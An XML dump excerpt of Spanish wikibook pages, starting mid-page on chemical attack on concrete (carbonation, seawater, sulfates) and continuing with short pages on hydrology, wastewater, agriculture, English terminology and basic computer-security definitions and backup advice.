:Se entiende por aguas puras aquellas que llevan muy pocas sales disueltas, como las que proceden de deshielo y fluyen a través de rocas poco solubles (granito, basalto). Conocido es el ataque de las aguas puras procedentes de deshielo cuya capacidad de disolución es muy elevada.
:La lixiviación finalmente provoca la disolución del calcio, que es arrastrado y poco a poco se desmorona el sistema cohesionante. :Afortunadamente, el proceso de carbonatación por el C02 del aire, que actúa en contacto con el agua como ácido débil, provoca la precipitación de carbonato cálcico que forma una barrera protectora y disminuye el peligro.
:En aguas cargadas de C02 disuelto, tenemos además la reacción de bicarbonatación, convirtiendo el carbonato cálcico (poco soluble) en bicarbonato cálcico (soluble).
:También se puede producir por el ataque de aguas ácidas (su agresividad depende de su Ph y contenido de CO2).


===== Carbonatación =====

:La carbonatación es el proceso por el cual el hormigón de recubrimiento pierde la alcalinidad que mantiene protegida la armadura. El mecanismo por el cual se produce es la reacción del dióxido de carbono la atmósfera con las sustancias alcalinas de la solución de los poros y con los componentes hidratados del hormigón. Esto genera un descenso del pH hormigón por debajo de un valor crítico situado alrededor de 9,5. A partir de dicho valor no se puede garantizar la protección de la armadura.Se trata de un caso especial de ataque ácido.

:[[Patología de la edificación/Conceptos generales/Definiciones/Hormigón Armado/Carbonatación|Ver Carbonatación en Definiciones]]
:[[w:es:Carbonatación|Ver Carbonatación en Wikipedia]]


==== Ataque de Aguas Residuales ====

:En pocas ocasiones estas aguas atacan de forma directa al hormigón. Se pueden producir si bajo la acción bacteriana el gas sulfhídrico disuelto en agua se transforma en ácido sulfúrico. Incluso en este caso, la concentración de ácido debe sobrepasar las 150 ppm para que el ataque se produzca. Esta concentración de ácidos no se alcanza con facilidad en aguas residuales domésticas.


==== Acción del agua de mar ====

:La agresividad del ambiente marino se debe fundamentalmente a las sales que lleva disuelta el agua de mar: cloruro sódico, cloruro magnésico, sulfato magnésico, sulfato cálcico, cloruro potásico, sulfato potásico y bicarbonato cálcico.

:Esta agresividad se divide en dos tipos: la relativa a la degradación del hormigón por la acción de las sales agresivas y otra por los procesos de corrosión debido a la humedad ambiental y el aporte de cloruros. Los iones cloruros inhiben o atenúan en cierta medida la acción de los sulfatos, ya que dan lugar a un cloroaluminato de calcio hidratado que no es expansivo, o al menos no tanto como la ettringita. Pero en el caso de que el clínker contenga gran cantidad de aluminato tricálcio y el grado de saturación sea elevado, los cloruros existentes en el agua de mar no pueden evitar la formación de la estringita, con sus consecuencias.

:Los cloruros, como el cloruro cálciclo o el cloruro sódico, pueden incorporarse al hromigón también a través de acelerantes del fraguado o de sal para deshielo en casos como el de los puentes. Aunque el pH del hromigón esté por encima de 9, al contacto con las armaduras pueden producir corrosión puntual.


==== Ataque de Sales ====

:Estas patologías se producen debido a las humedades de ambientes marinos. Con independencia del ataque químico que el agua de mar ejerce sobre el hormigón fabricado con ella, el vapor de agua contenido en la atmósfera de zonas marinas está cargado de cloruros y sulfatos. Al evaporarse el agua, en el interior o sobre de los poros del hormigón, cristalizan las sales produciéndose por consiguiente la aparición de tensiones internas que, como ya se dijo, meteorizan los hormigones pobres y disgregan los de tipo medio.
:La presencia de estas sales dentro del hormigón genera zonas anódicas y catódicas que sumadas a la presencia del agua como electrolito producen corrientes internas que conducirán a la corrosión electroquímica de las armaduras.

:De menor a mayor intensidad de ataque al hormigón en ambiente marino:
:* Corrosión de armaduras con pérdidas de sección en las barras principales del 1%. Aparecen ligeras fisuras longitudinales en las esquinas coincidiendo con la situación de las barras, pero no fisuras transversales en el plano de los estribos.
:* Corrosión de las armaduras principales con pérdida de sección del 5%. Salta el hormigón en las esquinas y quedan las barras de acero principales al aire. Aparecen fisuras en el plano de los estribos. La capa de óxido hace que las armaduras pierdan adherencia con el hormigón.
:* Corrosión de las barras principales con pérdida de sección del 25%. Se desprende el hormigón en las zonas de los estribos y quedan estos al aire. Pérdida de anclaje frente a pandeo y de adherencia de las barras. Se supone que el hormigón, por efecto de la corrosión se ha debilitado en una profundidad de 1 cm.
:* Rotura de estribos. La sección de acero que queda en las barras principales no trabaja. Las barras principales pandean.


==== Ataques por sulfatos ====

:El ataque de sulfatos ocurre donde hay concentraciones relativamente altas de sulfatos de sodio, potasio, calcio o magnesio, tanto en suelos como en aguas subterráneas, superficiales o en aguas de mar. También pueden ocurrir asociados a algunas instalaciones industriales, desechos, aguas fecales o subproductos de cualquier tipo, acumulados de forma incontrolada. Los sulfatos son muy solubles en agua y penetran con facilidad en estructuras de hormigón expuestas a los mismos.

:Asociados sobre todo a rocas y procesos volcánicos, rocas y minerales de origen evaporítico y alteración de sulfuros asociados yacimientos minerales, tenemos importantes concentraciones de Yeso, Glauberita, Thenardita, etc, en la mayoría de nuestros suelos. :Dado que la presencia de sustratos y aguas sulfatadas en España es más que frecuente, deberán tomarse precauciones en la construcción de obras de hormigón.

:El cemento es un polvo finamente molido, compuesto principalmente por silicatos de calcio y en menores proporciones por aluminatos de calcio, que, mezclado con agua se combina con ella, fragua y endurece a la temperatura ambiente al aire o bajo agua.

:El ataque de sulfatos se debe a la combinación de ión sulfato con el aluminato de calcio hidratado del cemento, formando Ettringita (sulfo aluminato de calcio) y con el hidróxido de calcio libre o liberado durante la hidratación del cemento, para formar yeso. Ambas reacciones producen expansiones fuertes, ya que tanto la ettringita como el yeso alcanzan un volumen mucho mayor que el de los depósitos reactantes que los formaron (presencia de agua en su estructura cristalina) y como consecuencia, ocasionan la erosión, disgregación y destrucción de los morteros y hormigones a través de sus poros por donde penetran.

:Según el contenido de aluminato tricálcico (C3A) del clinker los cementos serán más o menos resistentes a los sulfatos.


==== Daños producidos por el terreno ====

:La agresividad o ataque químico del terreno puede afectar a las estructuras que están en contacto con él, en mayor o menor medida, afectando por tanto la durabilidad de esas estructuras y por tanto su resistencia y estabilidad a lo largo del tiempo.

:A las estructuras de hormigón que están en contacto con él, tales como elementos de cimentación (zapatas, pozos, losas, pilotes...), muros de contención u otros son:

:* Desagregación o destrucción química del hormigón.
:** Cambio de coloración en la superficie de los elementos, ya que el cemento va perdiendo su carácter conglomerante quedando por consiguiente los áridos libres de la unión que les proporciona la pasta. Inicialmente suele presentar aspecto poroso, cambio de color, eflorescencias o manchas.
:** Fisuras.
:** Abarquillamiento de las capas externas del hormigón
:** Desintegración de la masa del hormigón.

:* Pérdida de resistencia, pudiendo llegar a la ruina del elemento

:* Reducción de los recubrimientos:
:** manchas de óxidos en paramentos
:** fisuración longitudinal según el trazado de las barras afectadas por la corrosión 
:** menor resistencia al fuego
:** acortamiento de la vida útil


====Lesiones====
[[Imagen:Acc_quimicas_copia.jpg|400px|thumb|right|Accione Qímicas]]
:Se suelen distinguir cuatro grupos de lesiones químicas, cada uno de los cuales analizaremos detalladamente a continuación. Son: las EFLORESCENCIAS, es decir, los depósitos de sales minerales solubles que se forman sobre la superficie de un material; las OXIDACIONES Y CORROSIONES, entendidas como una transformación química que se produce en la superficie de los metales, especialmente el hierro y el acero, que provoca la destrucción de la misma; la EROSIÓN, o sea la pérdida de material en las superficies de los materiales como resultado de ciertas reacciones químicas de sus componentes con otras sustancias atacantes.


===ACCIONES BIOLÓGICAS:===
Los PROCESOS BIOQUÍMICOS, es decir, el conjunto de lesiones químicas que se deriva de la presencia de un organismo vivo, ya sea animal o vegetal, y que afecta a la superficie del material constructivo. Entre los diferentes organismos que pueden ser agresivos al hormigón los más importantes son las bacterias ferroginosas y las tiobacterias, produciendo alteraciones o reaccionando con el agua formándose sulfatos o ácido sulfúrico.


==Fallos Característicos==

*[[Patología de la edificación/Cimentaciones/Superficiales/Problemática|Cimentación superficial (Acceso directo a Cimentación Superficial/Problemática)]]
*[[Patología de la edificación/Cimentaciones/Muros/Problemática|Muros de Contención (Acceso directo a Muros/Problemática)]]
*[[Patología de la edificación/Cimentaciones/Pilotes/Problemática|Pilotes y Pantallas (Acceso directo a Pilotes/Problemática)]]

{{AutoCat}}</text>
      <sha1>lb5dlvbsbs3udvdl9wxbj4kfy88g50k</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Conceptos generales/Definiciones</title>
    <ns>0</ns>
    <id>17357</id>
    <revision>
      <id>430003</id>
      <parentid>84166</parentid>
      <timestamp>2026-08-02T09:55:40Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430003</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="306" sha1="jp6e6ag13hq1g56kjhvn97h1oj1cwpv" xml:space="preserve">*'''[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas|Instrumentos y Pruebas]]'''
*'''[[Patología de la edificación/Conceptos generales/Definiciones/Hormigón Armado|Definiciones Hormigón Armado]]'''

Intrumentos y pruebas
Definiciones Hormigón Armado

{{AutoCat}}</text>
      <sha1>jp6e6ag13hq1g56kjhvn97h1oj1cwpv</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas</title>
    <ns>0</ns>
    <id>17365</id>
    <revision>
      <id>430005</id>
      <parentid>82182</parentid>
      <timestamp>2026-08-02T09:55:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430005</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="874" sha1="0jdbgqtp8vnv6607auistkeq7hsydj0" xml:space="preserve">*[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Corrosímetro|Corrosímetro]]
*[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Esclerómetro|Esclerómetro]]
*[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Fisurómetros|Fisurómetro]]
*[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Pachómetro|Pachómetro]]
*[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Pistola Windsor|Pistola Windsor]]
*[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Profundidad de Carbonatación|Profundidad de Carbonatación]]
*[[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Ultrasonidos|Ultrasonidos]]

{{AutoCat}}</text>
      <sha1>0jdbgqtp8vnv6607auistkeq7hsydj0</sha1>
    </revision>
  </page>
  <page>
    <title>Hidrosistemas/Hidrología</title>
    <ns>0</ns>
    <id>17418</id>
    <revision>
      <id>429996</id>
      <parentid>239826</parentid>
      <timestamp>2026-08-02T09:52:03Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429996</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1168" sha1="fxaarxocz0xdnkdmdwqms680c9b5ock" xml:space="preserve">La '''Hidrología''' trata sobre el agua del planeta, su existencia y distribución, sus propiedades físicas y químicas y su influencia sobre el medio ambiente, incluyendo su relación con los seres vivos.

La influencia de la hidrología abarca la historia completa del agua sobre la tierra.

* La '''ingeniería hidrológica''' incluye aquellas partes del campo que atañen al diseño y operación de proyectos de ingeniería para el control y el uso del agua. Los límites entre la hidrología y otras '''ciencias de la tierra''' tales como la '''Meteorología''', la '''Oceanografía''', y la '''Geología''' son confusos y no tiene objeto el tratar de definirlos rígidamente. Asimismo la distinción entre la ingeniería hidrológica y otras ramas de la hidrología aplicada es vaga.

El ingeniero debe gran parte de su conocimiento actual de la hidrología a los agrónomos, ingenieros forestales, meteorólogos, geólogos y otras profesionales de una diversidad de disciplinas.

'''Referencias'''
*&lt;small&gt;E. R. Anderson, Water-loss Investigations: Lake Hefner studies, Technical Report, U.S. Geol. Surv. Prof. Pap. 269, pp, 71-119, 1954.&lt;/small&gt;

{{AutoCat}}</text>
      <sha1>fxaarxocz0xdnkdmdwqms680c9b5ock</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Definición</title>
    <ns>0</ns>
    <id>17545</id>
    <revision>
      <id>429765</id>
      <parentid>326321</parentid>
      <timestamp>2026-08-01T21:32:00Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429765</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="902" sha1="csh5pkeqq42b2j3533p36kzmtsagr2h" xml:space="preserve">Entre las generalidades que hay que abordar sobre la seguridad informática, una de ellas es saber qué es exactamente.

Podemos darnos algunas ideas del significado:

Según la Real Academia Española (http://rae.es), la '''Seguridad''' es  ''Calidad de seguro'', donde '''Seguro''' es  ''Libre y exento de Peligro'', por lo que podríamos concluir que Seguridad Informática es &quot;la cualidad de un sistema informático exento de peligro&quot;. Sin embargo, esta definición, a pesar de que puede ser válida, no es una definición aceptable para nosotros.

Una definición más acertada sería la siguiente: '''Un conjunto de métodos y herramientas destinados a proteger la información y por ende, los sistemas informáticos ante cualquier amenaza.'''

Otra definición sería resguardar y mantener estable una red de datos y red de computadoras ante cualquier amenaza de entidades externas.

{{AutoCat}}</text>
      <sha1>csh5pkeqq42b2j3533p36kzmtsagr2h</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Copia de seguridad en Windows</title>
    <ns>0</ns>
    <id>17719</id>
    <revision>
      <id>429774</id>
      <parentid>190973</parentid>
      <timestamp>2026-08-01T21:32:54Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429774</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1115" sha1="50dthjfnn4ty8k2dlbd4no9d0r5croa" xml:space="preserve">{Esbozo}

Una copia de seguridad consiste en un formato que permite la restauración del sistema, permitiendo recuperar datos perdidos por accidente o por malware.

=Herramienta de restauración de sistema=

Esta utilidad viene instalado por defecto con el sistema operativo Windows XP y 2000, tiene la característica de   que si ocurre algo malo en el equipo se restaura a sus archivos y configuraciones originales. Se accede desde 

 Programas/Accesorios/Herramientas del sistema/Restaurar sistema/

Sin embargo, tiene la desventaja de que guarda el archivo en el disco duro y no permite moverlo a otra parte, por lo que se pierde junto con el disco, además, ya existen virus que al deshabilitar el servicio borran los archivos de seguridad.

=Copia de seguridad de Windows=
Windows también posee una utilidad de copia de seguridad, pero no lo comprime, sino que los pone en una carpeta con su información de ubicación, sin darle alguna comprensión.

Sin embargo, hay en internet otras utilidades que son mucho mejores que los que provee Microsoft, como por ejemplo, respaldo por red, cintas...

{{AutoCat}}</text>
      <sha1>50dthjfnn4ty8k2dlbd4no9d0r5croa</sha1>
    </revision>
  </page>
  <page>
    <title>Hidrosistemas/Hidrología/Ciclo hidrológico</title>
    <ns>0</ns>
    <id>17929</id>
    <revision>
      <id>429997</id>
      <parentid>239828</parentid>
      <timestamp>2026-08-02T09:52:06Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429997</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1999" sha1="anc4g8epr1i0tqyuxdnrou59g6nnyx1" xml:space="preserve">== El ciclo natural del agua==
[[File:Ciclodelh20.jpg|thumb|300px|Diagrama del ciclo del agua]]
El ciclo del agua es único, aunque siempre renovado: 
*Evaporación 
*Precipitaciones 
*Escorrentías  
*Infiltraciones
*Salida al mar y reinicio del proceso

Para su posterior utilización como recurso es preciso conocer no sólo el volumen total de las aportaciones que se introducen en ese ciclo (precipitaciones) sino la importancia relativa de cada fase (relaciones entre lluvias y evaporación, entre los caudales subterráneos y los superficiales) y las características físico-químicas del agua en cada momento del ciclo (estado sólido o líquido, salinidad, etc.).

Se conoce como '''ciclo natural del agua''' el proceso que se inicia con el aporte de las precipitaciones desde la '''atmósfera''' a la tierra y a partir del cual el agua se evapora, transcurre sobre la superficie o se infiltra en mantos subterráneos.

El ciclo natural del agua depende fundamentalmente de la interrelación entre una serie de factores: el volumen de las precipitaciones, así como su distribución en el tiempo y en el espacio; el sustrato geológico y el tipo de materiales, su permeabilidad y su resistencia; las características de los suelos, que influyen en la capacidad de retención de agua y de desarrollo de la vegetación.

Lógicamente la variedad de situaciones que esto conlleva hace que los ciclos del agua presenten diferencias notables no solo a escala continental sino también entre las principales unidades físicas que componen la región. De hecho el agua es uno de los agentes más decisivos en esta configuración física en tanto que, por un lado, actúa como modelador del relieve mediante un largo proceso de '''erosión''' motivada por la escorrentía superficial y, por otro, determina, en íntima relación con los materiales que forman el suelo, la productividad biológica de cada espacio, su fertilidad y el tipo de '''vegetación''' que es capaz de soportar.

{{AutoCat}}</text>
      <sha1>anc4g8epr1i0tqyuxdnrou59g6nnyx1</sha1>
    </revision>
  </page>
  <page>
    <title>Seguridad informática/Principios básicos</title>
    <ns>0</ns>
    <id>18276</id>
    <revision>
      <id>429768</id>
      <parentid>315366</parentid>
      <timestamp>2026-08-01T21:32:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429768</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1849" sha1="9xoq4sdsuswji7gfwynw51dkifukbvh" xml:space="preserve">Entre las cosas que hay que mencionar son los siguientes principios

==Principio de curiosidad==

Básicamente estás deseando abrir ese fichero que has recibido de una dirección que no conoces, o de un amigo, recuerda que primero que nada tienes que desconfiar de los archivos revividos amenos de que estés seguro que te los han mandado (por ejemplo trabajos).

Recordemos el viejo adagio: 

*'''La curiosidad mató al gato...'''

==Principio de la desinformación==

No hace falta leer páginas como ésta. Es un error muy común ya que muchos de nosotros consideramos que, los que tiene que preocuparse realmente son los que desarrollan sistemas de seguridad y los creadores de sistemas operativos.

Como dicen

*'''El conocimiento es poder.'''

==Principio de la estupidez==

Intentas ejecutar un virus simplemente por que te paso por la cabeza, gran error.

==Principio de incredulidad==

Basta con instalar un antivirus pensando que bajo eso puedes  estar completamente seguro, pero sabemos que cuando se desarrolla un nuevo virus, es raro que los antivirus lo registren si se encuentran en “estado salvaje” .

==Principio de inocencia==

Todo el mundo es bueno. Y creo que no necesita mayor explicación. 

==Principio de insensatez==

Las copias de seguridad son una pérdida de tiempo, ya que uno nunca se pone a analizar que algún tipo de Malware puede tener acceso a su información personal o borrarla, recordemos que el objetivo de la seguridad informática es evitar la perdida de datos y el robo de estos.

==Principio de la ignorancia==

La [[w:Ingeniería social (seguridad informática)|ingeniería social]] no existe, aunque todos nosotros hemos escuchado de los secuestros via Internet o [http://www.genbeta.com/web/la-contrasena-de-los-servidores-de-twitter-era-password el caso de los servidores de Twitter]

{{AutoCat}}</text>
      <sha1>9xoq4sdsuswji7gfwynw51dkifukbvh</sha1>
    </revision>
  </page>
  <page>
    <title>Tecnologías para el Desarrollo Rural/Cómo Mejorar la Agricultura</title>
    <ns>0</ns>
    <id>18279</id>
    <revision>
      <id>429787</id>
      <parentid>86595</parentid>
      <timestamp>2026-08-01T21:52:59Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429787</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="917" sha1="1ozjiok30evpdfkm2z8t5tc6og6lc2r" xml:space="preserve">
== Aterrazamiento ==

Para que la agricultura se mantenga, debemos asegurarnos que la tierra rica en nutrientes no se pierde con las lluvias torrenciales.

Para ello hay varios sistemas válidos, más todos aquellos de nuestra invención que sean más útiles en cada situación:

* Troncos y piedras:
Colocar los troncos caídos en los bordes de los terrenos en peligro de perder tierra ayudan a que las corrientes de agua pierdan fuerza y no arrastren la tierra con nutrientes y la turba que tanto necesitan las plantas.
Las famosas lindes de piedra tienen la misma utilidad. Además, los muros altos de piedra evitan que los vientos fuertes se lleven las hojas y la humedad del suelo, o incluso en terrenos con tierras muy malas en recuperación éstos son de gran ayuda por iguales motivos.
* Aterrazamiento:
Consiste en hacer terrazas, ya sea con troncos, piedras, o muros recortados a pico y pala.

{{AutoCat}}</text>
      <sha1>1ozjiok30evpdfkm2z8t5tc6og6lc2r</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Info</title>
    <ns>0</ns>
    <id>18369</id>
    <revision>
      <id>429974</id>
      <parentid>239129</parentid>
      <timestamp>2026-08-02T09:31:34Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>429974</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="588" sha1="0mg0ivdvfn9t4507su282tqm1d5norz" xml:space="preserve">El agua, como motor de desarrollo y fuente de riqueza, ha constituido uno de los pilares fundamentales para el progreso del hombre. La ordenación y gestión de los recursos hídricos, que ha sido desde siempre un objetivo prioritario para cualquier sociedad, se ha evolucionado desde directrices simplemente orientadas a satisfacer la demanda hacia una gestión que contempla la calidad del recurso y la protección del mismo como garantía de un abastecimiento futuro y de un desarrollo sostenible.&lt;noinclude&gt;[[Categoría:Ingeniería de aguas residuales| Info]]&lt;/noinclude&gt;

{{AutoCat}}</text>
      <sha1>0mg0ivdvfn9t4507su282tqm1d5norz</sha1>
    </revision>
    <revision>
      <id>429977</id>
      <parentid>429974</parentid>
      <timestamp>2026-08-02T09:33:31Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>429977</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="534" sha1="pilp01srbp3qurz66542vs76ljcz085" xml:space="preserve">El agua, como motor de desarrollo y fuente de riqueza, ha constituido uno de los pilares fundamentales para el progreso del hombre. La ordenación y gestión de los recursos hídricos, que ha sido desde siempre un objetivo prioritario para cualquier sociedad, se ha evolucionado desde directrices simplemente orientadas a satisfacer la demanda hacia una gestión que contempla la calidad del recurso y la protección del mismo como garantía de un abastecimiento futuro y de un desarrollo sostenible.&lt;noinclude&gt;{{AutoCat}}&lt;/noinclude&gt;</text>
      <sha1>pilp01srbp3qurz66542vs76ljcz085</sha1>
    </revision>
  </page>
  <page>
    <title>Inglés/Terminología</title>
    <ns>0</ns>
    <id>18931</id>
    <revision>
      <id>429895</id>
      <parentid>241385</parentid>
      <timestamp>2026-08-01T22:09:07Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Eliminación de [[Categoría:Inglés]] mediante [[c:Help:Cat-a-lot|Cat-a-lot]]</comment>
      <origin>429895</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1238" sha1="2is7spvdf68qxjg5hr19f58mjkf9taj" xml:space="preserve">

{{esbozo}}

==¿Que encontrarás en estos documentos?==
En estas páginas encontrarás términos técnicos Español - Inglés - Español de diversas áreas y con los diferentes nombres coloquiales con que se conocen, además de una breve explicación y su correcto uso en contextos diversos.

==¿Para quienes están dirigidos estos documentos?==
Para todo aquel que requiera traducir textos técnicos de un área específica, regionalizar documentos y entenderse correctamente entre hispanoparlantes que utilizamos modismos regionalizados.

==Secciones==

===Agricultura y ganadería===

===Derecho===
===Informática - Computing===
[[Inglés/Terminología/Terminología informática/bases de datos|Bases de datos]]

[[terminología informática/sistemas operativos|Sistemas operativos]]

[[terminología informática/lenguajes de programación|Lenguajes de programación]]

===Ingeniería civil y arquitectura===

===Mecánica - Mechanics===

[[terminología mecánica/herramientas|Herramientas - Tools]]

[[terminología mecánica/máquinas|Máquinas - Machines]]

[[terminología mecánica/máquinas herramientas|Máquinas herramientas - Tool machines]]

[[terminología mecánica/materiales|Materiales - Materials]]

===Medicina===</text>
      <sha1>2is7spvdf68qxjg5hr19f58mjkf9taj</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Conceptos generales/Definiciones/Hormigón Armado</title>
    <ns>0</ns>
    <id>18968</id>
    <revision>
      <id>430004</id>
      <parentid>90436</parentid>
      <timestamp>2026-08-02T09:55:53Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430004</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="127" sha1="pli8f1vntnt6knqmtj8m9bjmnpyg7xe" xml:space="preserve">*[[Patología de la edificación/Conceptos generales/Definiciones/Hormigón Armado/Carbonatación|Carbonatación]]

{{AutoCat}}</text>
      <sha1>pli8f1vntnt6knqmtj8m9bjmnpyg7xe</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Conceptos generales/Definiciones/Hormigón Armado/Carbonatación</title>
    <ns>0</ns>
    <id>18969</id>
    <revision>
      <id>430007</id>
      <parentid>175793</parentid>
      <timestamp>2026-08-02T09:56:16Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430007</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3853" sha1="82fxcmh7u5hebvhvmjevfsr1t8605cb" xml:space="preserve">'''Esta página forma parte del Wikilibro &quot;Patología de la Edificación&quot;'''

*[[Patología de la edificación/Cimentaciones/Problemática|Volver a Cimentaciones: Problemática]]

*[[Patología de la edificación/Estructuras de hormigón/Lesiones|Volver a Estructuras de Hormigón: Lesiones]]
*[[Patología de la edificación/Estructuras de hormigón/Causas funcionales y materiales del deterioro|Volver a Estructuras de Hormigón: Causas funcionales y materiales de deterioro]]

*[[w:es:Carbonatación|Ver Carbonatación en Wikipedia]]


[[Imagen:Corrosion2.jpg|400px|thumb|right|Corrosión en acero]]

==== '''Ataque por ácidos. Carbonatación''' ==== 
:Es un tipo de reacción ácida, de excepcional importancia en la durabilidad del hormigón.
:La carbonatación es el proceso por el cual el hormigón de recubrimiento pierde la alcalinidad que mantiene protegida la armadura. Se produce avanzando desde el exterior. Las posibilidades de difusión de la carbonatación están en relación al tiempo y a la profundidad. El espesor del recubrimiento incide en la acción de estas variables.
:Por lo tanto, un hormigón puede presentar varios niveles de penetración de la carbonatación que estaría relacionado con la calidad del hormigón en cuestión.

:La carbonatación es el proceso por el cual el hormigón de recubrimiento pierde la alcalinidad que mantiene protegida la armadura. El mecanismo por el cual se produce es la reacción del dióxido de carbono la atmósfera con las sustancias alcalinas de la solución
de los poros y con los componentes hidratados del hormigón. Esto genera un descenso del pH hormigón por debajo de un valor crítico situado alrededor de 9,5. A partir de dicho valor no se puede garantizar la protección de la armadura.

:La carbonatación es el proceso por el cual la alcalinidad de un hormigón se ve afectada por los efectos de las reacciones causadas por atmósferas contaminadas con anhídrido carbónico desprotegiendo a la armadura. Se trata de un caso especial de ataque ácido.

:Las armaduras están protegidas frente a riesgos de oxidación por el recubrimiento y por la presencia del hidróxido de calcio; en esta situación el pH es de 12 0 13. Cuando la humedad ambiental mezclada con anhídrido carbónico penetra por los poros, el hidróxido cálcico se transforma en carbonato, disminuyendo la alcalinidad a un pH de valor 9 ó 9,5: en este caso ya no es suficiente para proteger la armadura, comenzando la oxidación.

:El mecanismo de reacción es relativamente complejo e intervienen en él la cantidad de sodio y potasio presentes en el cemento.
:La carbonatación en el hormigón armado se produce avanzando desde el exterior. Las posibilidades de difusión de la carbonatación están en relación al tiempo y la profundidad. El espesor del recubrimiento incide en la acción de estas variables.


* Proceso por el cual la alcalinidad se ve afectada por las reacciones causadas por atmósferas conta-minantes.
* Neutralización del anhídrido carbónico que se propaga por los poros llenos de aire del hor-migón. Provocando la creación de carbonato cálcico.
* El espesor de recubrimiento variara el tiempo de neutralización.
* Escasez de recubrimiento, bien por falta de capacidad de protección del hormigón de recu-brimiento.
* Formación de óxido ejerciendo presión sobre el recubrimiento provocando estallido.
* Cuando hay un gran número de barras.
* Tensiones originadas por la herrumbre expansiva formado alrededor de las barras, propa-gándose por toda la armadura, dependiendo en gran medida de la cantidad de carbonatación en el hormigón.
* Perdida de sección de las armaduras. Al quedar la armadura con el contacto del aire, se es-parce con mayor velocidad y mayor volumen.
* Posible desaparición de estribos o cercos por la acción de la corrosión.

{{AutoCat}}</text>
      <sha1>82fxcmh7u5hebvhvmjevfsr1t8605cb</sha1>
    </revision>
  </page>
  <page>
    <title>Ingeniería de aguas residuales/Índice</title>
    <ns>0</ns>
    <id>19480</id>
    <revision>
      <id>429979</id>
      <parentid>287784</parentid>
      <timestamp>2026-08-02T09:34:23Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Autocat</comment>
      <origin>429979</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2436" sha1="t5honbrbkfcvutnnk6t9mfr68dfly64" xml:space="preserve">&lt;noinclude&gt;
==Índice detallado==&lt;/noinclude&gt;
# [[Ingeniería de aguas residuales/La calidad del agua. Marco jurídico|'''La calidad del agua. Marco jurídico''']]
# [[Ingeniería de aguas residuales/Características de las aguas residuales|'''Características de las aguas residuales''']]
# [[Ingeniería de aguas residuales/Control de vertidos|'''Control de vertidos''']]
# [[Ingeniería de aguas residuales/Documentación administrativa de control de vertidos|'''Documentación administrativa de control de vertidos''']]
# [[Ingeniería de aguas residuales/Estación depuradora de aguas residuales|'''Estación depuradora de aguas residuales''']]
# [[Ingeniería de aguas residuales/Pretratamiento|'''Pretratamiento''']]
# [[Ingeniería de aguas residuales/Tratamiento físico-químico|'''Tratamiento físico-químico''']]
# [[Ingeniería de aguas residuales/Tratamiento primario|'''Tratamiento primario''']]
# [[Ingeniería de aguas residuales/Procesos biológicos aerobios|'''Procesos biológicos aerobios''']]
# [[Ingeniería de aguas residuales/Eutrofización|'''Eutrofización''']]
